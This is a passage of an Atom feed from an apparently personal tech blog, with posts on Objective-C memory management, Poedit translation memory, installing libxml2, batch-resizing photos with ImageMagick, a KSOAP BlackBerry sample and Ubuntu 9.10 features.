know releasing is simple but keep in mind  if you release the object in wrong place you are in big trouble.  This normally happens in Objective C you release the objects  thinking its not of use any more but be sure before doing so why  because in case if you unknowingly refered to the same object again  your program crashes showing you EXEC_BAD_ACCESS and you wont even  know where this happened. You need to painful debugging to find out  and some times even debugging wont resolve the issue. Thanks to the  Apple for providing NSZombie and tools like Instruments, Shark and  Malloc Debug which will reduce the pain for certain extent but not  completely. In the sense it will give a clue on where thing is going  wrong andThis normally happens in Objective C you release the  objects thinking its not of use any more but be sure before doing so  why because in case if you unknowingly refered to the same object  again your program crashes showing you EXEC_BAD_ACCESS and you wont  even know where this happened. finding and fixing it is upto you.&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Some more points to be  remembered &lt;/b&gt;  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: normal;"&gt;As   I mentioned you should release only those objects of which you are   owner in the sense object created with init,alloc,retain etc. Never   try to release them or you will corrupt memory leading to a program   crash&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;ul&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: normal;"&gt;If   you are not able to figure out why your program is crashing  use   NSZombie rather than still trying to debug the program.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;ol start="2"&gt;&lt;/ol&gt;&lt;ul&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;&lt;span style="font-weight: normal;"&gt;Becareful   while using functions like mutableCopy you need to release the   object after the function or it will lead to a leak. i.e obj1 =   [[obj2 mutableCopy] autorelease]&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;ol start="2"&gt;&lt;/ol&gt;&lt;ul&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;&lt;span style="font-weight: normal;"&gt;Use   property and synthesizers for the objects inside the class.&lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;ol start="2"&gt;&lt;/ol&gt;&lt;div style="text-align: justify;"&gt;Well whatever points I mentioned here was my own personal experience. I never read the &lt;a href="http://developer.apple.com/mac/library/documentation/Cocoa/Conceptual/MemoryMgmt/MemoryMgmt.html"&gt;Memory Management guide&lt;/a&gt; from Apple but I suggest you folks to do it first. Since I had to learn things quickly I couldn't read it.  &lt;b&gt;And if I have told anything wrongly or there is something were I can improve my self please do comment. Your suggestions are precious for me :).&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-weight: normal; margin-bottom: 0cm; text-align: justify;"&gt;I feel Objective C should be introduced as part of academics in India since it makes students to learn basics of memory management which is most important thing to know before becomming a professional programmer. And Objective C is more OO than the  C++. Concepts OOP will be more clear with Objective C than C++ but point should be noted that some concepts of OOP like abstractions are not included in Objective C but I feel abstraction is not required in normal scenarios :). According to me evethough its unmanaged language Objective C is still a beautiful language out there.&lt;br /&gt;&lt;b style="color: red;"&gt;P.S When writing the article I was not aware of introduction of garbage collector n Objective C v2.0. So pardon me for my mistake but Objective C still remains unmanaged on the iPhone OS platform &lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-6456347646426381271?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/01/objective-c-my-opinions.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6456347646426381271'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6456347646426381271'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/01/objective-c-my-opinions.html' title='Objective C – My Opinions'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-5560440542985324192</id><published>2010-01-09T22:59:00.000-08:00</published><updated>2010-01-09T22:59:03.120-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='poedit'/><category scheme='http://www.blogger.com/atom/ns#' term='localization'/><category scheme='http://www.blogger.com/atom/ns#' term='translation memory'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>Adding Translation Memory to Poedit</title><content type='html'>&lt;div style="text-align: justify;"&gt;Poedit is a cross-platform &lt;a href="http://www.gnu.org/software/gettext/" target="_blank" title="GNU Gettext"&gt;gettext&lt;/a&gt; catalogs(.po file) editor. In this post i'm going to explain how to add translation memory to the poedit. Translation memory helps to increase the speed of translation process. Here translation memory refers to previously translated .po file may be from other translators. Ok lets see how to do this.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;1. First open the poedit and open &lt;b&gt;&lt;span style="color: grey;"&gt;Edit &amp;gt; Preferences&lt;/span&gt;&lt;/b&gt; and click on &lt;span style="color: grey;"&gt;&lt;b&gt;Translation Memory&lt;/b&gt; &lt;/span&gt;tab.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;2. In the new window which appears set the path where you want poedit to store the translation memory DB. (default value is recommended).&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;3. Click Add button situated below the My Languages text area and select the language for which you want to add the translation memory. Multiple language translation memory can also be installed. Image below will give you clear picture on what i'm talking about.&lt;br /&gt;&lt;/div&gt;&lt;table border="0" style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://picasaweb.google.com/lh/photo/AWbdlV0wcUlpdVuOqqUvZQ?feat=embedwebsite"&gt;&lt;img alt="Poedit Preferences" src="http://lh5.ggpht.com/_Pms4ehFPMfI/S0lpdnkNYCI/AAAAAAAABP8/O8p4N6Tozkc/s400/Generate%20DB.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;4.After you are done with above mentioned 3 steps now you can click on the &lt;b&gt;&lt;span style="color: grey;"&gt;Generate Database&lt;/span&gt;&lt;/b&gt; button. This will bring up below shown window.&lt;br /&gt;&lt;/div&gt;&lt;table border="0" style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://picasaweb.google.com/lh/photo/7b10g7YD80o870BP0KfhKQ?feat=embedwebsite"&gt;&lt;img alt="Translation memory" src="http://lh4.ggpht.com/_Pms4ehFPMfI/S0lplzMPYFI/AAAAAAAABQA/UVHOJU4Dk_c/s400/translation%20memory1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;div style="text-align: justify;"&gt;5. As you can see the window ask for specifying the folder where locale files are situated. You can just ignore this window and click on next.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;6. Here in this window click on &lt;b&gt;&lt;span style="color: grey;"&gt;Add Files&lt;/span&gt;&lt;/b&gt;, and browse to the place where .po files for translation memory exists. You can select them all or one by one and click open. Once you click open the file name with its path appear in the window. Now you can click on finish and poedit starts scanning the .po files and create the translation memory for you.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;P.S: This may take some time depending on number of .po files you have selected. Image below gives you picture of what I told in above step (Step 6)&lt;br /&gt;&lt;/div&gt;&lt;table border="0" style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://picasaweb.google.com/lh/photo/hQl79rMCHbhZOzPhXzsDVg?feat=embedwebsite"&gt;&lt;img alt="Adding files to tm" src="http://lh4.ggpht.com/_Pms4ehFPMfI/S0lpwCfuPJI/AAAAAAAABQE/sWb58nqsIMU/s400/translation%20memory2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;div style="text-align: justify;"&gt;Once everything is done open a .po file  for translation and right click on any string, for the first time poedit will popup a box asking for the language for which it should look for translation memory DB. Select the language and and again right click on the string and you will get possible translations for the selected string. I repeat possible translations not correct translations all the time. Select the translated string if you think its the correct translation for the current string. Image below gives you a clear picture on what i'm talking about.&lt;br /&gt;&lt;/div&gt;&lt;table border="0" style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://picasaweb.google.com/lh/photo/RN2m_B4IaKdt-Pc6pumc4Q?feat=embedwebsite"&gt;&lt;img alt="Select language" src="http://lh3.ggpht.com/_Pms4ehFPMfI/S0lp0c24f4I/AAAAAAAABQI/oapYsv5Wwno/s400/selecting%20language.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://picasaweb.google.com/lh/photo/1wSf4EIS-waBjs2bXJ0PFg?feat=embedwebsite"&gt;&lt;img alt="Translation memory in action" src="http://lh6.ggpht.com/_Pms4ehFPMfI/S0lp6JNMiEI/AAAAAAAABQM/FtTphwDSsK0/s400/using%20translation%20memory.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Few points to remember&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt; 1. What ever translated strings shown by poedit using translation memory are suggestions and may not be the proper translation so don't completely rely on it. Its there only to speed up translation process by giving you some idea on current string.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt; 2. In case your poedit starts crashing when you try to use translation memory you may need to delete existing translation memory and recreate them all again from scratch.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt; Well thats all I wanted to say enjoy the translation process using poedit. C ya folks next time :)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-5560440542985324192?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/01/adding-translation-memory-to-poedit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/5560440542985324192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/5560440542985324192'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/01/adding-translation-memory-to-poedit.html' title='Adding Translation Memory to Poedit'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_Pms4ehFPMfI/S0lpdnkNYCI/AAAAAAAABP8/O8p4N6Tozkc/s72-c/Generate%20DB.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-6625054561235151856</id><published>2010-01-02T23:05:00.000-08:00</published><updated>2010-01-02T23:05:57.468-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='libxml2'/><category scheme='http://www.blogger.com/atom/ns#' term='XML'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>Installing libxml on Ubuntu</title><content type='html'>&lt;div style="text-align: justify;"&gt;These day i've been working more on the XML files and I really love working with XML files. &lt;a href="http://xmlsoft.org/"&gt;Libxml&lt;/a&gt; is one real good library out there for XML parsing and Creation. It was basically written as XML parser tool kit for GNOME but it can also be used outside the GNOME environment. It has been ported to wide variety of languages but it was basically written in C. In this post i'm just going to tell how to install the libxml on Debian based distro's.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;For writing programs using libxml and compiling you need libxml2-dev package to be installed on your machine. To install the libxml2-dev use the following command&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;sudo apt-get install libxml2-dev&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;To compile your program with gcc you need to provide the linker flags to find out about compilation and linker flags libxml2 comes with a handy tool called xml2-config.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;To print the pre-processor and compiler flags use the following command&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;xml2-config --cflags&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;To print the library linking information use the following command&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;xml2-config --libs&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The linker option for gcc will be -lxml2. In my next post i'll be writing on how to create a simple XML file using libxml library, till then C'ya folks. :)&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-6625054561235151856?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/01/installing-libxml-on-ubuntu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6625054561235151856'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6625054561235151856'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/01/installing-libxml-on-ubuntu.html' title='Installing libxml on Ubuntu'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-9166155158512628592</id><published>2009-12-26T05:10:00.001-08:00</published><updated>2009-12-26T10:12:09.225-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='image resizing'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>Resizing Large photos in Linux</title><content type='html'>Last week Sunday went for small hiking with my collegues around Karkala my home town. We took around&amp;nbsp; 350 odd photos with a 12MP camera. Each picture was about 1MB with resolution more than 3000pixels. I was trying to resize all these photos and &lt;a href="http://aravindavk.in/" mce_href="http://aravindavk.in/"&gt;Aravinda&lt;/a&gt; pointed me to image magick tool convert. But I had a problem here all picture names were in this format &lt;span style="color: #993300;"&gt;Picture xxx.jpg&lt;/span&gt; , space in the file name was causing problem. After searching for a while came accross &lt;span style="color: #993300;"&gt;rename &lt;/span&gt;command to rename the files by removing space in the file name. Here is how you do it&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: #993300;"&gt;&lt;code&gt;rename "s/  *//g" *.jpg&lt;/code&gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;span style="color: #993300;"&gt;&lt;span style="color: black;"&gt;This renamed all the files to &lt;span style="color: #993300;"&gt;Picturexxx.jpg &lt;span style="color: black;"&gt;(here the xxx is a number&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;). Next I used the following script to resize all the files at a time without loosing the quality&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;for i in `ls *jpg`&lt;br /&gt;do&lt;br /&gt;convert -resize 700 -quality 100% "$i" "$i"&lt;br /&gt;done&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Well I'm happy now I saved a lot of space on my HDD and also uploaded photos easily to my picasa web albums. This is the reason why I like Linux more. It always comes with many amazing tools and you don't have to pay a penny for it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-9166155158512628592?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/12/resizing-large-photos-in-linux.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/9166155158512628592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/9166155158512628592'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/12/resizing-large-photos-in-linux.html' title='Resizing Large photos in Linux'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-421427433118041839</id><published>2009-11-22T20:32:00.000-08:00</published><updated>2009-12-26T10:16:32.907-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='KSOAP with blackberry'/><category scheme='http://www.blogger.com/atom/ns#' term='BlackBerry Application'/><title type='text'>Working with SOAP service using KSOAP from Blackberry</title><content type='html'>You can easily work with any web service from&amp;nbsp; using KSOAP library.  Here i'm giving a sample code on how to do that. I'm not going to  explain anything though ;)&lt;br /&gt;&lt;pre name="code" class="java"&gt;String serviceUrl = "Replace with URL to webservice";&lt;br /&gt;String serviceNameSpace = "Replace with namespace of web service";&lt;br /&gt;String soapAction = "URL to method name";&lt;br /&gt;String methodName = "Replace with Name of method";&lt;br /&gt;SoapObject rpc = new SoapObject(serviceNamespace, methodName);&lt;br /&gt;rpc.addProperty("number1", 10);&lt;br /&gt;rpc.addProperty("number2", 20);&lt;br /&gt;SoapSerializationEnvelope envelope = new  SoapSerializationEnvelope(SoapEnvelope.VER11);&lt;br /&gt;envelope.bodyOut = rpc;&lt;br /&gt;envelope.dotNet = true;//&lt;b&gt;IF you are accessing .net based web service  this should be true&lt;/b&gt;&lt;br /&gt;envelope.encodingStyle = SoapSerializationEnvelope.ENC;&lt;br /&gt;HttpTransport ht = new HttpTransport(serviceUrl);&lt;br /&gt;ht.debug = true;&lt;br /&gt;ht.setXmlVersionTag("");&lt;br /&gt;int result = null;&lt;br /&gt;try&lt;br /&gt;{&lt;br /&gt;ht.call(soapAction, envelope);&lt;br /&gt;result = (envelope.getResult());&lt;br /&gt;}&lt;br /&gt;catch(org.xmlpull.v1.XmlPullParserException ex2){&lt;br /&gt;}&lt;br /&gt;catch(Exception ex){&lt;br /&gt;String bah = ex.toString();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;Just note that SoapSerializationEnvelope.dotNet should be set to true  for .NET based web service.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-421427433118041839?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/11/working-with-soap-service-using-ksoap.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/421427433118041839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/421427433118041839'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/11/working-with-soap-service-using-ksoap.html' title='Working with SOAP service using KSOAP from Blackberry'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-6507459449209413929</id><published>2009-11-01T01:00:00.001-07:00</published><updated>2009-12-26T10:17:42.747-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu 9.10'/><category scheme='http://www.blogger.com/atom/ns#' term='Karmic Koala'/><title type='text'>New Features in Ubuntu 9.10 (Karmic Koala)</title><content type='html'>&lt;div style="text-align: justify;"&gt;Finally I'm able to connect to internet from new Ubuntu 9.10 (Karmic Koala). After waiting for a year and half struggling with many distro's  finally few tweeking arround helped me to dial my Huwei ETS 2288 WLL modem to internet from the Karmic Koala, I should thank &lt;a href="http://platonic.techfiz.info/" target="_blank"&gt;Omshivaprakash&lt;/a&gt;'s for his post on Hacking BSNL EvDo on Linux and Ubuntu forums. Well now comming to the point Ubuntu Karmic has got many new features with it, I'm going to write about few of them which amazed me.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;1. The installation speed and Method &lt;/b&gt;: I should tell the installation screens with slide shows and the speed of installation impressed me very much. Till now propereitory OS like Windows and other Linux distribution like RHEL, Novel SUSE and Mandriva had this slide show features during installation. Due to this feature you won't feel bored any more during installation ;). Speed of installation is approximate 12 minutes  on a Laptop with 2GB RAM. It took only 8 minutes after the partition, pretty awsome ah..&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;2.Boot up and Shutdown speeds&lt;/b&gt; : Unlike previous version boot up is pretty fast around 16 seconds with flashy screens. So is shutdown with in 2-3 seconds your system is off. This speed is reminded me of Mac Leopard only difference Mac is having Micro Kernel where as Ubuntu with Monolithic Kernel.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;3. iBus : &lt;/b&gt;This feature impressed me pretty much old SCIM is now replace with iBus (Intelligent input Bus) which has all the language preloaded including Kannada. I didn't have to install any kannada fonts all were there in iBus by default. So for new users of Ubuntu who need local language doesn't have to undergo trouble of downloading and installing fonts and db's of any more, thanks to the Karmic team. Here is screen shot of the iBus in my system. Check out how the kannada fonts appears in firefox without installing any fonts by myself.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;table border="0" style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://picasaweb.google.com/lh/photo/mHFzsjjNb66L6uSgMWgUDg?feat=embedwebsite"&gt;&lt;img alt="" src="http://lh4.ggpht.com/_Pms4ehFPMfI/Su08WicEVuI/AAAAAAAAA50/Or01AumiOME/s400/Screenshot-1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;From &lt;a href="http://picasaweb.google.com/kamathvasudev/KarmicScreenShots?feat=embedwebsite"&gt;Karmic Screen Shots&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table border="0" style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://picasaweb.google.com/lh/photo/AqiaaWGfLYsDA1o-5-Cobw?feat=embedwebsite"&gt;&lt;img alt="" src="http://lh3.ggpht.com/_Pms4ehFPMfI/Su0zg_fOR8I/AAAAAAAAA5I/vCnNmDf5NmQ/s288/Screenshot-IBus%2520Preferences-1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;From &lt;a href="http://picasaweb.google.com/kamathvasudev/KarmicScreenShots?feat=embedwebsite"&gt;Karmic Screen Shots&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table border="0" style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://picasaweb.google.com/lh/photo/PSSWBw7DgThgibOZniVmKw?feat=embedwebsite"&gt;&lt;img alt="" src="http://lh3.ggpht.com/_Pms4ehFPMfI/Su0zp3cWFWI/AAAAAAAAA5M/rZ8BnkbZW8k/s288/Screenshot-IBus%2520Preferences.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;From &lt;a href="http://picasaweb.google.com/kamathvasudev/KarmicScreenShots?feat=embedwebsite"&gt;Karmic Screen Shots&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;3. Ubuntu Software Center : &lt;/b&gt;Well I love this new interface to Add/Remove program now called as Ubuntu software center. I can install multiple software at the same time i mean while i'm installing one software I can go back select another software and install it, pretty nice feature.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;4. Preloaded themes and Wall paper&lt;/b&gt; : Till now Ubuntu came with only 2 wall papers and few now there are many cool wall papers and themes checkout the following screen shot.&lt;br /&gt;&lt;table border="0" style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://picasaweb.google.com/lh/photo/HRRbNeUJJGLrBH8a_0HTcw?feat=embedwebsite"&gt;&lt;img alt="" src="http://lh3.ggpht.com/_Pms4ehFPMfI/Su03bfhQNxI/AAAAAAAAA5o/h-4BXKWwDfM/s288/Screenshot-Appearance%2520Preferences.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;From &lt;a href="http://picasaweb.google.com/kamathvasudev/KarmicScreenShots?feat=embedwebsite"&gt;Karmic Screen Shots&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;5. Cloud Computing support : &lt;/b&gt;Last but not the least the support for cloud computing starting with Ubunut One which allows you to share yor files, photos and videos with friends and family and also allows you to access it from any computer in any part of the world. Currently Ubuntu one provides 2GB space for free and for more space you may need to pay a little amount plus each Ubuntu has the Ubuntu one client which allows accessing your files from the system itself. One more feature is export option in F-Spot which allows you to directly upload the photos into Flickr, Picasa Web Albums etc. Check the following screen shots&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;table border="0" style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://picasaweb.google.com/lh/photo/fLCsG7pocmnbjOXxMK9-yg?feat=embedwebsite"&gt;&lt;img alt="" src="http://lh3.ggpht.com/_Pms4ehFPMfI/Su04NnJ7ZuI/AAAAAAAAA5w/N9jQ5Dl-VxI/s288/Screenshot-F-Spot%2520View.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;From &lt;a href="http://picasaweb.google.com/kamathvasudev/KarmicScreenShots?feat=embedwebsite"&gt;Karmic Screen Shots&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table border="0" style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;a href="http://picasaweb.google.com/lh/photo/6FUXXJoe_8BDimq2acPcOA?feat=embedwebsite"&gt;&lt;img alt="" src="http://lh4.ggpht.com/_Pms4ehFPMfI/Su037HfOykI/AAAAAAAAA5s/DDNU11f8gl4/s288/Screenshot.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;From &lt;a href="http://picasaweb.google.com/kamathvasudev/KarmicScreenShots?feat=embedwebsite"&gt;Karmic Screen Shots&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Well there are several more new features, so go on download a Karmic CD install it and checkout for yourself ;)&lt;br /&gt;Do promote Ubuntu by passing the CD to your friends. Enjoy the new experience with Karmic Koala.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-6507459449209413929?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/11/new-features-in-ubuntu-910-karmic-koala.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' 